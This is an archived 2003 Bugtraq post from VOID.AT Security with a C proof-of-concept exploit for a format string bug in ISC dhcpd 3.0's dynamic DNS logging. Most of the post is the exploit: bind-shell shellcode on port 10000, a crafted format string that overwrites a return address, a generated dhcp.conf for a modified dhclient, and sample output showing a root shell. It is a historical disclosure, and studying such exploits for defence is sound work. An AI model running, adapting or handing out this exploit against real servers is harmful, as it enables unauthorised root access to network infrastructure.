88421 2003-01-21 05:10 /8 rader/ VOID.AT Security <crew@void.at>
Importerad: 2003-01-21 05:10 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <3084>
Ärende: isc dhcpd 3.0 format string exploit
------------------------------------------------------------
Proof of Concept
format string exploit for
isc dhcpd 3.0 dynamic dns update log function bug
--
VOID.AT Security
(88421) /VOID.AT Security <crew@void.at>/-----------
Bilaga (text/plain) i text 88422
Bilaga (application/pgp-signature) i text 88423
88422 2003-01-21 05:10 /224 rader/ VOID.AT Security <crew@void.at>
Importerad: 2003-01-21 05:10 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <3085>
Bilaga (text/plain) till text 88421
Ärende: Bilaga till: isc dhcpd 3.0 format string exploit
------------------------------------------------------------
/***********************************************************
* hoagie_dhcpd.c
*
* local and remote exploit for isc dhcpd 3.0 (perhaps others)
*
* hi 19c3 guys ;)
*
* gcc hoagie_dhcpd.c -o hoagie_dhcpd
*
* Author: Andi <andi@void.at>
*
* Greetz to Greuff, philipp and the other hoagie-fellas :-)
*
* For this exploit we use the very very useful dhcp client
* option: hex-coloumn list as fqdn. For this trick we change
* in common/tables.c the parsing option to "X".
*
* # ./hd
* hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit
* using return address location: 0xbfffdd4c
* return address: 0xbfffde38
* dummy vprintf address: 0xbfffdd70
* now run: dhclient -d -cf dhcp.conf eth0
* # ./dhclient -d -cf dhcp.conf eth0
* Internet Software Consortium DHCP Client V3.0
* Copyright 1995-2001 Internet Software Consortium.
* All rights reserved.
* For info, please visit http://www.isc.org/products/DHCP
*
* Listening on LPF/eth0/00:02:3f:af:89:fb
* Sending on LPF/eth0/00:02:3f:af:89:fb
* Sending on Socket/fallback
* DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 3
* DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval ...
* ^C
* # telnet dhcpserverip 10000
* id;
* uid=0(root) gid=0(root) groups=0(root)
*
* after I've written the return address location and used the
* last %n parameter, vfprintf still pops values from the stack
* so what happened: the dhcp server tries to write the written
* bytes to something like 0x2578.... which is part of the format
* string. so you have to add another dummy address pair where
* vfprintf can write dummy bytes.
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
************************************************************/
#include <stdio.h>
#include <stdlib.h>
char shellcode[] =
"\x31\xdb" // xor ebx, ebx
"\xf7\xe3" // mul ebx
"\xb0\x66" // mov al, 102
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x4b" // dec ebx
"\xcd\x80" // int 80h
"\x89\xc7" // mov edi, eax
"\x52" // push edx
"\x66\x68\x27\x10" // push word 4135
"\x43" // inc ebx
"\x66\x53" // push bx
"\x89\xe1" // mov ecx, esp
"\xb0\x10" // mov al, 16
"\x50" // push eax
"\x51" // push ecx
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\xb0\x66" // mov al, 102
"\xb3\x04" // mov bl, 4
"\xcd\x80" // int 80h
"\x50" // push eax
"\x50" // push eax
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\x43" // inc ebx
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\x89\xd9" // mov ecx, ebx
"\x89\xc3" // mov ebx, eax
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop lp
"\x51" // push ecx
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\x0b" // mov al, 11
"\xcd\x80"; // int 80h
char nop[] = "\x90\x90\x90\x90";
int retloc = 0xbfffdd4c; /* use gdb to get it ;) */
int retaddr = 0xbfffde38; /* hmm yes that sounds quite interesting */
int dummyaddr = 0xbfffdd70; /* dummy stack pointer for vprintf */
void help() {
printf("\t-l\t ... return address location\n");
printf("\t-r\t ... return address\n");
printf("\t-d\t ... dummy vfprintf address\n");
exit(0);
}
int main(int argc, char **argv) {
char buffer[4096], output[4096], tmp[6], pad[4][20];
FILE *fp;
unsigned char rl[4], ra[4], da[4];
int i, opt;
unsigned int start, diff, ret;
extern char *optarg;
printf("hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit\n");
if (argc > 1) {
while ( (opt = getopt(argc, argv, "hl:r:d:")) != EOF) {
switch(opt) {
case 'h': help(); break;
case 'l': sscanf(optarg, "0x%x", &retloc); break;
case 'r': sscanf(optarg, "0x%x", &retaddr); break;
case 'd': sscanf(optarg, "0x%x", &dummyaddr); break;
}
}
}
printf("using return address location: 0x%x\n", retloc);
printf("return address: 0x%x\n", retaddr);
printf("dummy vprintf address: 0x%x\n", dummyaddr);
/* convert return address location */
rl[0] = (char) (retloc >> 24);
rl[1] = (char) (retloc >> 16);
rl[2] = (char) (retloc >> 8);
rl[3] = (char) retloc;
/* convert dummy address */
da[0] = (char) (dummyaddr >> 24);
da[1] = (char) (dummyaddr >> 16);
da[2] = (char) (dummyaddr >> 8);
da[3] = (char) dummyaddr;
/* calculate paddings */
ra[3] = (char) (retaddr >> 24);
ra[2] = (char) (retaddr >> 16);
ra[1] = (char) (retaddr >> 8);
ra[0] = (char) retaddr;
start = 0xd4;
for (i = 0; i < 4; i++) {
if (start == ra[i]) {
strcpy(pad[i], "");
} else {
if (start > ra[i]) {
ret = ra[i];
while (start > ret) ret += 0x100;
diff = ret - start;
} else {
diff = ra[i] - start;
}
sprintf(pad[i], "%%%du", diff);
start += diff;
}
}
/* build the special format string */
sprintf(buffer,
"%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c\x70\xdd\xff\xbf"
"%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c"
"%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x"
"%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x"
"\x90\x90\x90\x90%c%c%c%c"
"\x90\x90\x90\x90%c%c%c%c"
"\x90\x90\x90\x90%c%c%c%c"
"\x90\x90\x90\x90%c%c%c%c"
"%s%%n"
"%s%%n"
"%s%%n"
"%s%%n"
"%s%s",
rl[3], rl[2], rl[1], rl[0],
rl[3] + 1, rl[2], rl[1], rl[0],
rl[3] + 2, rl[2], rl[1], rl[0],
rl[3] + 3, rl[2], rl[1], rl[0],
da[3], da[2], da[1], da[0],
da[3], da[2], da[1], da[0],
da[3], da[2], da[1], da[0],
da[3], da[2], da[1], da[0],
pad[0], pad[1], pad[2], pad[3], nop, shellcode);
/* convert to dhcp.conf syntax
* hex style input format rules -> change your dhclient source -> tables.c and change fqdn to type X
* to add binary values
*/
memset(output, 0, sizeof(output));
for (i = 0; i < strlen(buffer) - 1; i++) {
sprintf(tmp, "%02x:", (unsigned char)buffer[i]);
strcat(output, tmp);
}
sprintf(tmp, "%02x", (unsigned char)buffer[i]);
strcat(output, tmp);
/* create dhcp.conf and write options */
fp = fopen("dhcp.conf", "w");
fprintf(fp, "send fqdn.server-update on;\n");
fprintf(fp, "send fqdn.fqdn %s;", output);
fclose(fp);
/* have fun */
printf("now run: dhclient -d -cf dhcp.conf eth0\n");
}
(88422) /VOID.AT Security <crew@void.at>/-----------
88423 2003-01-21 05:10 /9 rader/ VOID.AT Security <crew@void.at>
Importerad: 2003-01-21 05:10 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <3086>
Bilaga (text/plain) till text 88421
Ärende: Bilaga till: isc dhcpd 3.0 format string exploit
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iEYEARECAAYFAj4fZzMACgkQ7/4hjx03q1f/aACfZsDSzmi/mbGHpyvGNUq8HCuo
YCwAnjMavIFsw6eJGjriMCYUHeulr8lU
=Jlvq
-----END PGP SIGNATURE-----
(88423) /VOID.AT Security <crew@void.at>/-----------